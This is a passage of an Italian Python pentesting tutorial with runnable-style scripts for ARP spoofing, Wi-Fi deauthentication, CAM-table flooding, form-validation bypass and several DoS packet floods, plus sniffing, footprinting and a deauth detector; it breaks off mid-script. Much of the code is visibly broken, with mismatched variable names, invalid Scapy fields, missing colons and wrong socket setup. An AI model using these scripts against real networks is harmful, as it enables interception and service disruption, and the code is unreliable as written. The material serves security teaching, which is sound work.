  • Step 2 - Se trova l'indirizzo fisico della macchina, il pacchetto dopo aver convertito alla sua giusta lunghezza, verrà inviato alla macchina desiderata

  • Step 3 - Ma se non viene trovata alcuna voce per l'indirizzo IP nella tabella, ARP_request verrà trasmesso sulla rete.

  • Step 4- Ora, tutte le macchine sulla rete confronteranno l'indirizzo IP trasmesso con l'indirizzo MAC e se una qualsiasi delle macchine nella rete identifica l'indirizzo, risponderà a ARP_request insieme al suo indirizzo IP e MAC. Tale messaggio ARP è chiamato ARP_reply.

  • Step 5 - Alla fine, la macchina che invia la richiesta memorizzerà la coppia di indirizzi nella sua tabella ARP e avrà luogo l'intera comunicazione.

Cos'è lo spoofing ARP?

Può essere definito come un tipo di attacco in cui un malintenzionato invia una richiesta ARP contraffatta sulla rete locale. L'avvelenamento da ARP è noto anche come spoofing ARP. Può essere compreso con l'aiuto dei seguenti punti:

  • Il primo spoofing ARP, per sovraccaricare lo switch, costruirà un numero enorme di richieste ARP falsificate e pacchetti di risposta.

  • Quindi lo switch verrà impostato in modalità di inoltro.

  • Ora, la tabella ARP verrebbe inondata di risposte ARP contraffatte, in modo che gli aggressori possano intercettare tutti i pacchetti di rete.

Implementazione tramite Python

In questa sezione, comprenderemo l'implementazione Python dello spoofing ARP. Per questo, abbiamo bisogno di tre indirizzi MAC: il primo della vittima, il secondo dell'aggressore e il terzo del gateway. Insieme a ciò, dobbiamo anche utilizzare il codice del protocollo ARP.

Importiamo i moduli richiesti come segue:

import socket
import struct
import binascii

Ora creeremo un socket, che avrà tre parametri. Il primo parametro ci dice dell'interfaccia del pacchetto (PF_PACKET per Linux specifico e AF_INET per Windows), il secondo parametro ci dice se si tratta di un raw socket e il terzo parametro ci dice del protocollo che ci interessa (qui 0x0800 usato per IP protocollo).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Forniremo ora l'indirizzo MAC dell'attaccante, della vittima e della macchina gateway -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Dobbiamo fornire il codice del protocollo ARP come mostrato -

code ='\x08\x06'

Due pacchetti Ethernet, uno per la macchina vittima e un altro per la macchina gateway sono stati realizzati come segue:

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Le seguenti righe di codice sono in ordine secondo l'intestazione ARP:

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Ora dobbiamo fornire gli indirizzi IP della macchina gateway e delle macchine vittima (supponiamo di avere i seguenti indirizzi IP per gateway e macchine vittima) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Converti gli indirizzi IP sopra in formato esadecimale con l'aiuto di socket.inet_aton() metodo.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Eseguire la seguente riga di codice per modificare l'indirizzo IP della macchina gateway.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Implementazione utilizzando Scapy su Kali Linux

Lo spoofing ARP può essere implementato utilizzando Scapy su Kali Linux. Segui questi passaggi per eseguire lo stesso:

Passaggio 1: indirizzo della macchina attaccante

In questo passaggio, troveremo l'indirizzo IP della macchina attaccante eseguendo il comando ifconfig sul prompt dei comandi di Kali Linux.

Passaggio 2: indirizzo della macchina di destinazione

In questo passaggio, troveremo l'indirizzo IP della macchina di destinazione eseguendo il comando ifconfig sul prompt dei comandi di Kali Linux, che dobbiamo aprire su un'altra macchina virtuale.

Passaggio 3: eseguire il ping della macchina di destinazione

In questo passaggio, dobbiamo eseguire il ping della macchina di destinazione dalla macchina attaccante con l'aiuto del seguente comando:

Ping –c 192.168.43.85(say IP address of target machine)

Passaggio 4: cache ARP sulla macchina di destinazione

Sappiamo già che due macchine utilizzano pacchetti ARP per scambiare indirizzi MAC, quindi dopo il passaggio 3, possiamo eseguire il seguente comando sulla macchina di destinazione per vedere la cache ARP:

arp -n

Passaggio 5: creazione del pacchetto ARP utilizzando Scapy

Possiamo creare pacchetti ARP con l'aiuto di Scapy come segue:

scapy
arp_packt = ARP()
arp_packt.display()

Passaggio 6: invio di pacchetti ARP dannosi utilizzando Scapy

Possiamo inviare pacchetti ARP dannosi con l'aiuto di Scapy come segue:

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Ora, se controlleremo di nuovo la cache ARP sulla macchina di destinazione, vedremo il falso indirizzo "1.1.1.1".

I sistemi wireless sono dotati di molta flessibilità ma, d'altra parte, portano anche a seri problemi di sicurezza. E come questo diventa un serio problema di sicurezza - perché gli aggressori, in caso di connettività wireless, devono solo avere la disponibilità del segnale per attaccare piuttosto che avere l'accesso fisico come nel caso della rete cablata. Il test di penetrazione dei sistemi wireless è un compito più semplice che farlo sulla rete cablata. Non possiamo davvero applicare buone misure di sicurezza fisica contro un supporto wireless, se ci trovassimo abbastanza vicini, saremmo in grado di "sentire" (o almeno il tuo adattatore wireless è in grado di sentire) tutto ciò che scorre nell'aria.

Prerequisiti

Prima di iniziare a imparare di più sul pentesting della rete wireless, prendiamo in considerazione la discussione della terminologia e del processo di comunicazione tra il client e il sistema wireless.

Terminologie importanti

Impariamo ora le importanti terminologie relative al pentesting della rete wireless.

Punto di accesso (AP)

Un punto di accesso (AP) è il nodo centrale nelle implementazioni wireless 802.11. Questo punto viene utilizzato per connettere gli utenti ad altri utenti all'interno della rete e può anche fungere da punto di interconnessione tra LAN wireless (WLAN) e una rete fissa. In una WLAN, un AP è una stazione che trasmette e riceve i dati.

Service Set Identifier (SSID)

È una stringa di testo leggibile da 0-32 byte che è fondamentalmente il nome assegnato a una rete wireless. Tutti i dispositivi nella rete devono utilizzare questo nome con distinzione tra maiuscole e minuscole per comunicare sulla rete wireless (Wi-Fi).

Identificazione del set di servizi di base (BSSID)

È l'indirizzo MAC del chipset Wi-Fi in esecuzione su un punto di accesso wireless (AP). Viene generato in modo casuale.

Numero canale

Rappresenta la gamma di radiofrequenze utilizzata dall'Access Point (AP) per la trasmissione.

Comunicazione tra client e sistema wireless

Un'altra cosa importante che dobbiamo capire è il processo di comunicazione tra il client e il sistema wireless. Con l'aiuto del seguente diagramma, possiamo capire lo stesso:

La cornice del faro

Nel processo di comunicazione tra il client e il punto di accesso, l'AP invia periodicamente un frame beacon per mostrare la sua presenza. Questo frame viene fornito con informazioni relative a SSID, BSSID e numero di canale.

La richiesta di Probe

A questo punto, il dispositivo client invierà una richiesta di sonda per verificare la presenza di AP nell'intervallo. Dopo aver inviato la richiesta della sonda, attenderà la risposta della sonda dall'AP. La richiesta Probe contiene informazioni come SSID dell'AP, informazioni specifiche del fornitore, ecc.

La risposta della sonda

Ora, dopo aver ricevuto la richiesta della sonda, l'AP invierà una risposta della sonda, che contiene le informazioni come velocità dati supportata, capacità, ecc.

La richiesta di autenticazione

Ora, il dispositivo client invierà un frame di richiesta di autenticazione contenente la sua identità.

La risposta di autenticazione

Ora, in risposta, l'AP invierà un frame di risposta di autenticazione che indica l'accettazione o il rifiuto.

La richiesta dell'Associazione

Quando l'autenticazione ha esito positivo, il dispositivo client ha inviato un frame di richiesta di associazione contenente la velocità dati supportata e l'SSID dell'AP.

La risposta dell'Associazione

Ora in risposta, l'AP invierà un frame di risposta dell'associazione che indica l'accettazione o il rifiuto. In caso di accettazione verrà creato un ID associazione del dispositivo client.

Trovare l'SSID (Wireless Service Set Identifier) ​​utilizzando Python

Possiamo raccogliere le informazioni su SSID con l'aiuto del metodo raw socket e utilizzando la libreria Scapy.

Metodo socket raw

Lo abbiamo già imparato mon0cattura i pacchetti wireless; quindi, dobbiamo impostare la modalità monitor sumon0. In Kali Linux, può essere fatto con l'aiuto diairmon-ngscript. Dopo aver eseguito questo script, darà un nome alla scheda wirelesswlan1. Ora con l'aiuto del seguente comando, dobbiamo abilitare la modalità monitormon0 -

airmon-ng start wlan1

Di seguito è riportato il metodo raw socket, script Python, che ci darà l'SSID dell'AP -

Prima di tutto dobbiamo importare i moduli socket come segue:

import socket

Ora creeremo un socket che avrà tre parametri. Il primo parametro ci dice dell'interfaccia del pacchetto (PF_PACKET per Linux specifico e AF_INET per Windows), il secondo parametro ci dice se si tratta di un socket grezzo e il terzo parametro ci dice che siamo interessati a tutti i pacchetti.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Ora, la riga successiva vincolerà il file mon0 modalità e 0x0003.

s.bind(("mon0", 0x0003))

Ora, dobbiamo dichiarare un elenco vuoto, che memorizzerà l'SSID degli AP.

ap_list = []

Ora dobbiamo chiamare il file recvfrom()metodo per ricevere il pacchetto. Affinché lo sniffing continui, useremo il ciclo while infinito.

while True:
   packet = s.recvfrom(2048)

La riga di codice successiva mostra se il frame è di 8 bit che indicano il frame beacon.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Sniffer SSID con Scapy

Scapy è una delle migliori librerie che ci consente di sniffare facilmente i pacchetti Wi-Fi. Puoi imparare Scapy in dettaglio suhttps://scapy.readthedocs.io/en/latest/. Per cominciare, esegui Sacpy in modalità interattiva e usa il comando conf per ottenere il valore di iface. L'interfaccia predefinita è eth0. Ora che abbiamo la cupola sopra, dobbiamo cambiare questa modalità in mon0. Può essere fatto come segue:

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Ora importiamo Scapy come libreria. Inoltre, l'esecuzione del seguente script Python ci darà l'SSID -

from scapy.all import *

Ora, dobbiamo dichiarare un elenco vuoto che memorizzerà l'SSID degli AP.

ap_list = []

Ora definiremo una funzione denominata Packet_info(), che avrà la logica di analisi completa dei pacchetti. Avrà l'argomento pkt.

def Packet_info(pkt) :

Nella prossima istruzione, applicheremo un filtro che passerà solo Dot11traffico che significa traffico 802.11. La riga che segue è anche un filtro, che fa passare il traffico con frame di tipo 0 (rappresenta il frame di gestione) e il sottotipo di frame è 8 (rappresenta il frame beacon).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Ora, la funzione sniff annuncerà i dati con iface valore mon0 (per i pacchetti wireless) e invoca il file Packet_info funzione.

sniff(iface = "mon0", prn = Packet_info)

Per implementare gli script Python di cui sopra, abbiamo bisogno di una scheda Wi-Fi che sia in grado di annusare l'aria utilizzando la modalità monitor.

Rilevamento dei client del punto di accesso

Per rilevare i client dei punti di accesso, è necessario acquisire il frame di richiesta della sonda. Possiamo farlo proprio come abbiamo fatto nello script Python per lo sniffer SSID usando Scapy. Dobbiamo dareDot11ProbeReqper acquisire il frame di richiesta della sonda. Di seguito è riportato lo script Python per rilevare i client dei punti di accesso:

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Attacchi wireless

Dal punto di vista di un pentester, è molto importante capire come avviene un attacco wireless. In questa sezione, discuteremo di due tipi di attacchi wireless:

  • Gli attacchi di de-autenticazione (deauth)

  • L'attacco di inondazione MAC

Gli attacchi di de-autenticazione (deauth)

Nel processo di comunicazione tra un dispositivo client e un punto di accesso ogni volta che un client desidera disconnettersi, deve inviare il frame di de-autenticazione. In risposta a quel frame dal client, AP invierà anche un frame di de-autenticazione. Un utente malintenzionato può trarre vantaggio da questo normale processo falsificando l'indirizzo MAC della vittima e inviando il frame di de-autenticazione all'AP. A causa di ciò la connessione tra client e AP viene interrotta. Di seguito è riportato lo script Python per eseguire l'attacco di de-autenticazione -

Per prima cosa importiamo Scapy come libreria -

from scapy.all import *
import sys

Le seguenti due dichiarazioni inseriranno rispettivamente l'indirizzo MAC dell'AP e della vittima.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Ora dobbiamo creare il frame di de-autenticazione. Può essere creato eseguendo la seguente istruzione.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

La riga di codice successiva rappresenta il numero totale di pacchetti inviati; qui è 500 e l'intervallo tra due pacchetti.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Produzione

Al momento dell'esecuzione, il comando precedente genera il seguente output:

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

Segue la creazione del frame deauth, che viene quindi inviato al punto di accesso per conto del client. Questo annullerà la connessione tra di loro.

La domanda qui è come rilevare l'attacco deauth con lo script Python. L'esecuzione del seguente script Python aiuterà a rilevare tali attacchi:

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

Nello script sopra, la dichiarazione pkt.subtype == 12 indica il frame deauth e la variabile I che è definita globalmente indica il numero di pacchetti.

Produzione

L'esecuzione dello script precedente genera il seguente output:

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

Gli attacchi di inondazione dell'indirizzo MAC

L'attacco di flooding dell'indirizzo MAC (attacco di flooding della tabella CAM) è un tipo di attacco di rete in cui un utente malintenzionato connesso a una porta dello switch inonda l'interfaccia dello switch con un numero molto elevato di frame Ethernet con diversi indirizzi MAC di origine falsi. Gli overflow della tabella CAM si verificano quando un afflusso di indirizzi MAC viene inondato nella tabella e viene raggiunta la soglia della tabella CAM. Questo fa sì che lo switch agisca come un hub, inondando la rete con il traffico su tutte le porte. Tali attacchi sono molto facili da lanciare. Il seguente script Python aiuta a lanciare tale attacco di inondazione CAM -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

Lo scopo principale di questo tipo di attacco è verificare la sicurezza dello switch. Dobbiamo utilizzare la sicurezza delle porte se vogliamo ridurre l'effetto dell'attacco di flooding MAC.

Le applicazioni Web e i server Web sono fondamentali per la nostra presenza online e gli attacchi osservati contro di essi costituiscono oltre il 70% degli attacchi totali tentati su Internet. Questi attacchi tentano di convertire i siti Web affidabili in siti dannosi. Per questo motivo, il server Web e il test della penna dell'applicazione Web svolgono un ruolo importante.

Stampa a piedi di un server web

Perché dobbiamo considerare la sicurezza dei server web? È perché con la rapida crescita del settore dell'e-commerce, l'obiettivo principale degli aggressori è il server web. Per il pentesting del server web, dobbiamo conoscere il server web, il suo software di hosting e sistemi operativi insieme alle applicazioni in esecuzione su di essi. La raccolta di tali informazioni sul server web è chiamata impronta del server web.

Nella nostra sezione successiva, discuteremo i diversi metodi per il footprint di un server web.

Metodi per il footprint di un server web

I server Web sono software o hardware server dedicati alla gestione delle richieste e alle risposte. Questa è un'area chiave su cui un pentester deve concentrarsi durante i test di penetrazione dei server web.

Parliamo ora di alcuni metodi, implementati in Python, che possono essere eseguiti per il footprint di un server web:

Verifica della disponibilità di metodi HTTP

Un'ottima pratica per un penetration tester è iniziare elencando i vari metodi HTTP disponibili. Di seguito è riportato uno script Python con l'aiuto del quale possiamo connetterci al server web di destinazione ed enumerare i metodi HTTP disponibili -

Per cominciare, dobbiamo importare la libreria delle richieste -

import requests

Dopo aver importato la libreria delle richieste, crea un array di metodi HTTP, che invieremo. Faremo uso di alcuni metodi standard come "GET", "POST", "PUT", "DELETE", "OPTIONS" e un metodo non standard "TEST" per verificare come un server web può gestire l'input imprevisto.

method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']

La seguente riga di codice è il ciclo principale dello script, che invierà i pacchetti HTTP al server web e stamperà il metodo e il codice di stato.

for method in method_list:
   req = requests.request(method, 'Enter the URL’)
   print (method, req.status_code, req.reason)

La riga successiva verificherà la possibilità di cross site tracing (XST) inviando il metodo TRACE.

if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')

Dopo aver eseguito lo script precedente per un particolare server web, avremo 200 risposte OK per un particolare metodo accettato dal web server. Otterremo una risposta 403 Forbidden se il server web nega esplicitamente il metodo. Una volta inviato il metodo TRACE per testare il cross site tracing (XST), otterremo405 Not Allowed risposte dal server web altrimenti riceveremo il messaggio ‘Cross Site Tracing(XST) is possible’.

Stampa a piedi controllando le intestazioni HTTP

Le intestazioni HTTP si trovano sia nelle richieste che nelle risposte dal server web. Trasportano anche informazioni molto importanti sui server. Ecco perché il penetration tester è sempre interessato all'analisi delle informazioni tramite le intestazioni HTTP. Di seguito è riportato uno script Python per ottenere le informazioni sulle intestazioni del server web -

Per cominciare, importiamo la libreria delle richieste:

import requests

Dobbiamo inviare una richiesta GET al server web. La seguente riga di codice effettua una semplice richiesta GET tramite la libreria delle richieste.

request = requests.get('enter the URL')

Successivamente, genereremo un elenco di intestazioni di cui hai bisogno delle informazioni.

header_list = [
   'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]

La prossima è una prova e tranne il blocco.

for header in header_list:
   try:
      result = request.header_list[header]
      print ('%s: %s' % (header, result))
   except Exception as err:
      print ('%s: No Details Found' % header)

Dopo aver eseguito lo script precedente per un particolare server web, otterremo le informazioni sulle intestazioni fornite nell'elenco delle intestazioni. Se non ci saranno informazioni per una determinata intestazione, verrà visualizzato il messaggio "Nessun dettaglio trovato". Puoi anche saperne di più sui campi HTTP_header dal link -https://www.tutorialspoint.com/http/http_header_fields.htm.

Test di configurazioni di server web non sicure

Possiamo utilizzare le informazioni dell'intestazione HTTP per testare configurazioni di server web non sicure. Nel seguente script Python, useremo try / tranne block per testare intestazioni di server web non sicure per il numero di URL salvati in un nome di file di testowebsites.txt -

import requests
urls = open("websites.txt", "r")

for url in urls:
   url = url.strip()
   req = requests.get(url)
   print (url, 'report:')
   
   try:
      protection_xss = req.headers['X-XSS-Protection']
      if protection_xss != '1; mode = block':
      print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
   except:
      print ('X-XSS-Protection not set, it may be possible')
      
   try:
      options_content_type = req.headers['X-Content-Type-Options']
      if options_content_type != 'nosniff':
      print ('X-Content-Type-Options not set properly:', options_content_type)
   except:
      print ('X-Content-Type-Options not set')
      
   try:
      transport_security = req.headers['Strict-Transport-Security']
   except:
      print ('HSTS header not set properly, Man in the middle attacks is possible')
      
   try:
      content_security = req.headers['Content-Security-Policy']
      print ('Content-Security-Policy set:', content_security)
   except:
      print ('Content-Security-Policy missing')

Impronta di un'applicazione Web

Nella nostra sezione precedente, abbiamo discusso dell'impronta di un server web. Allo stesso modo, anche il footprint di un'applicazione web è considerato importante dal punto di vista di un penetration tester.

Nella nostra sezione successiva, impareremo i diversi metodi per il footprint di un'applicazione web.

Metodi per il footprint di un'applicazione Web

L'applicazione Web è un programma client-server, che viene eseguito dal client in un server Web. Questa è un'altra area chiave su cui un pentester deve concentrarsi durante i test di penetrazione dell'applicazione web.

Parliamo ora dei diversi metodi, implementati in Python, che possono essere utilizzati per il footprint di un'applicazione web:

Raccolta di informazioni utilizzando il parser BeautifulSoup

Supponiamo di voler raccogliere tutti i collegamenti ipertestuali da una pagina web; possiamo usare un parser chiamato BeautifulSoup. Il parser è una libreria Python per estrarre dati da file HTML e XML. Può essere utilizzato conurlib perché ha bisogno di un input (documento o URL) per creare un oggetto soup e non può recuperare la pagina web da solo.

Per cominciare, importiamo i pacchetti necessari. Importeremo urlib eBeautifulSoup. Ricorda prima di importare BeautifulSoup, dobbiamo installarlo.

import urllib
from bs4 import BeautifulSoup

Lo script Python fornito di seguito raccoglierà il titolo della pagina web e i collegamenti ipertestuali -

Ora, abbiamo bisogno di una variabile, che può memorizzare l'URL del sito web. Qui useremo una variabile chiamata "url". Useremo anche il filepage.read() funzione che può memorizzare la pagina web e assegnare la pagina web alla variabile html_page.

url = raw_input("Enter the URL ")
page = urllib.urlopen(url)
html_page = page.read()

Il html_page verrà assegnato come input per creare un oggetto zuppa.

soup_object = BeautifulSoup(html_page)

Le seguenti due righe stamperanno il nome del titolo rispettivamente con tag e senza tag.

print soup_object.title
print soup_object.title.text

La riga di codice mostrata di seguito salverà tutti i collegamenti ipertestuali.

for link in soup_object.find_all('a'):
   print(link.get('href'))

Afferrare banner

Il banner è come un messaggio di testo che contiene informazioni sul server e l'acquisizione del banner è il processo di recupero delle informazioni fornite dal banner stesso. Ora, dobbiamo sapere come viene generato questo banner. Viene generato dall'intestazione del pacchetto inviato. E mentre il client tenta di connettersi a una porta, il server risponde perché l'intestazione contiene informazioni sul server.

Il seguente script Python aiuta a catturare il banner usando la programmazione socket:

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

targethost = str(raw_input("Enter the host name: "))
targetport = int(raw_input("Enter Port: "))
s.connect((targethost,targetport))

def garb(s:)
   try:
      s.send('GET HTTP/1.1 \r\n')
      ret = sock.recv(1024)
      print ('[+]' + str(ret))
      return
   except Exception as error:
      print ('[-]' Not information grabbed:' + str(error))
      return

Dopo aver eseguito lo script precedente, otterremo informazioni simili sugli header come quelle ottenute dallo script Python di footprinting degli header HTTP nella sezione precedente.

In questo capitolo, impareremo come la validazione aiuta in Python Pentesting.

L'obiettivo principale della convalida è testare e garantire che l'utente abbia fornito le informazioni necessarie e correttamente formattate necessarie per completare con successo un'operazione.

Esistono due diversi tipi di convalida:

  • convalida lato client (browser web)
  • convalida lato server

Convalida lato server e convalida lato client

Viene chiamata la convalida dell'input dell'utente che avviene sul lato server durante una sessione di postback server-side validation. I linguaggi come PHP e ASP.Net utilizzano la convalida lato server. Una volta terminato il processo di convalida lato server, il feedback viene rispedito al client generando una nuova pagina web dinamica. Con l'aiuto della convalida lato server, possiamo ottenere protezione contro utenti malintenzionati.

D'altra parte, la convalida dell'input dell'utente che avviene sul lato client è chiamata convalida sul lato client. Per i linguaggi di scripting come JavaScript e VBScript vengono utilizzaticlient-side validation. In questo tipo di convalida, tutta la convalida dell'input dell'utente viene eseguita solo nel browser dell'utente. Non è così sicuro come la convalida lato server perché l'hacker può facilmente aggirare il nostro linguaggio di scripting lato client e inviare input pericolosi al server.

Parametro lato client di temperamento: bypass di convalida

Il passaggio dei parametri nel protocollo HTTP può essere eseguito con l'aiuto dei metodi POST e GET. GET viene utilizzato per richiedere dati da una risorsa specificata e POST viene utilizzato per inviare dati a un server per creare o aggiornare una risorsa. Una delle principali differenze tra entrambi questi metodi è che se un sito Web utilizza il metodo GET, i parametri di passaggio vengono visualizzati nell'URL e possiamo modificare questo parametro e passarlo al server Web. Ad esempio, la stringa di query (coppie nome / valore) viene inviata nell'URL di una richiesta GET:/test/hello_form.php?name1 = value1&name2 = value2. D'altra parte, i parametri non vengono visualizzati durante l'utilizzo del metodo POST. I dati inviati al server con POST vengono memorizzati nel corpo della richiesta HTTP. Ad esempio, POST/test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2.

Modulo Python per bypass di convalida

Il modulo Python che useremo è mechanize. È un browser web Python, che fornisce la possibilità di ottenere moduli web in una pagina web e facilita anche l'invio di valori di input. Con l'aiuto della meccanizzazione, possiamo bypassare la convalida e temperare i parametri lato client. Tuttavia, prima di importarlo nel nostro script Python, dobbiamo installarlo eseguendo il seguente comando:

pip install mechanize

Esempio

Di seguito è riportato uno script Python, che utilizza la meccanizzazione per bypassare la convalida di un modulo Web utilizzando il metodo POST per passare il parametro. Il modulo web può essere preso dal linkhttps://www.tutorialspoint.com/php/php_validation_example.htm e può essere utilizzato in qualsiasi sito Web fittizio di tua scelta.

Per cominciare, importiamo il browser Mechanize -

import mechanize

Ora creeremo un oggetto denominato brwsr del browser Mechanize -

brwsr = mechanize.Browser()

La riga di codice successiva mostra che il programma utente non è un robot.

brwsr.set_handle_robots( False )

Ora, dobbiamo fornire l'URL del nostro sito Web fittizio contenente il modulo Web su cui dobbiamo bypassare la convalida.

url = input("Enter URL ")

Ora, le seguenti righe imposteranno alcuni genitori su true.

brwsr.set_handle_equiv(True)
brwsr.set_handle_gzip(True)
brwsr.set_handle_redirect(True)
brwsr.set_handle_referer(True)

Successivamente aprirà la pagina web e stamperà il modulo web su quella pagina.

brwsr.open(url)
for form in brwsr.forms():
   print form

La prossima riga di codici ignorerà le convalide sui campi dati.

brwsr.select_form(nr = 0)
brwsr.form['name'] = ''
brwsr.form['gender'] = ''
brwsr.submit()

L'ultima parte dello script può essere modificata in base ai campi del modulo web su cui vogliamo bypassare la convalida. Qui nello script sopra, abbiamo preso due campi:‘name’ e ‘gender’ che non può essere lasciato vuoto (puoi vedere nella codifica del modulo web) ma questo script ignorerà quella convalida.

In questo capitolo, apprenderemo gli attacchi DoS e DdoS e capiremo come rilevarli.

Con il boom del settore dell'e-commerce, il server web è ora soggetto ad attacchi ed è un facile bersaglio per gli hacker. Gli hacker di solito tentano due tipi di attacco:

  • DoS (Denial-of-Service)
  • DDoS (Distributted Denial of Service)

Attacco DoS (Denial-of-Service)

L'attacco Denial of Service (DoS) è un tentativo degli hacker di rendere non disponibile una risorsa di rete. Di solito interrompe l'host, temporaneo o indefinito, che è connesso a Internet. Questi attacchi in genere prendono di mira servizi ospitati su server Web mission critical come banche, gateway di pagamento con carta di credito.

Sintomi dell'attacco DoS

  • Prestazioni di rete insolitamente lente.

  • Indisponibilità di un particolare sito web.

  • Impossibilità di accedere a qualsiasi sito web.

  • Drastico aumento del numero di e-mail di spam ricevute.

  • Negazione a lungo termine dell'accesso al Web o a qualsiasi servizio Internet.

  • Indisponibilità di un particolare sito web.

Tipi di attacco DoS e sua implementazione Python

L'attacco DoS può essere implementato a livello di collegamento dati, rete o applicazione. Vediamo ora di conoscere i diversi tipi di attacchi DoS &; la loro implementazione in Python -

Singola porta singola IP

Un gran numero di pacchetti viene inviato al server web utilizzando un singolo IP e da un unico numero di porta. È un attacco di basso livello che viene utilizzato per verificare il comportamento del server web. La sua implementazione in Python può essere eseguita con l'aiuto di Scapy. Il seguente script python aiuterà a implementare un attacco DoS a porta singola con IP singolo:

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Al momento dell'esecuzione, lo script sopra chiederà le seguenti tre cose:

  • Indirizzo IP di origine e destinazione.

  • Indirizzo IP del numero di porta di origine.

  • Quindi invierà un gran numero di pacchetti al server per verificarne il comportamento.

Porta multipla IP singolo

Un gran numero di pacchetti viene inviato al server web utilizzando un singolo IP e da più porte. La sua implementazione in Python può essere eseguita con l'aiuto di Scapy. Il seguente script python aiuterà a implementare un attacco DoS a porte multiple con IP singolo -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Porta singola IP multipla

Un gran numero di pacchetti viene inviato al server web utilizzando più IP e da un unico numero di porta. La sua implementazione in Python può essere eseguita con l'aiuto di Scapy. Il seguente script Python implementa un attacco DoS a porte multiple con IP singolo:

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Più porte IP multiple

Un gran numero di pacchetti viene inviato al server web utilizzando più IP e da più porte. La sua implementazione in Python può essere eseguita con l'aiuto di Scapy. Il seguente script Python aiuta a implementare più IP attacco DoS a più porte -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
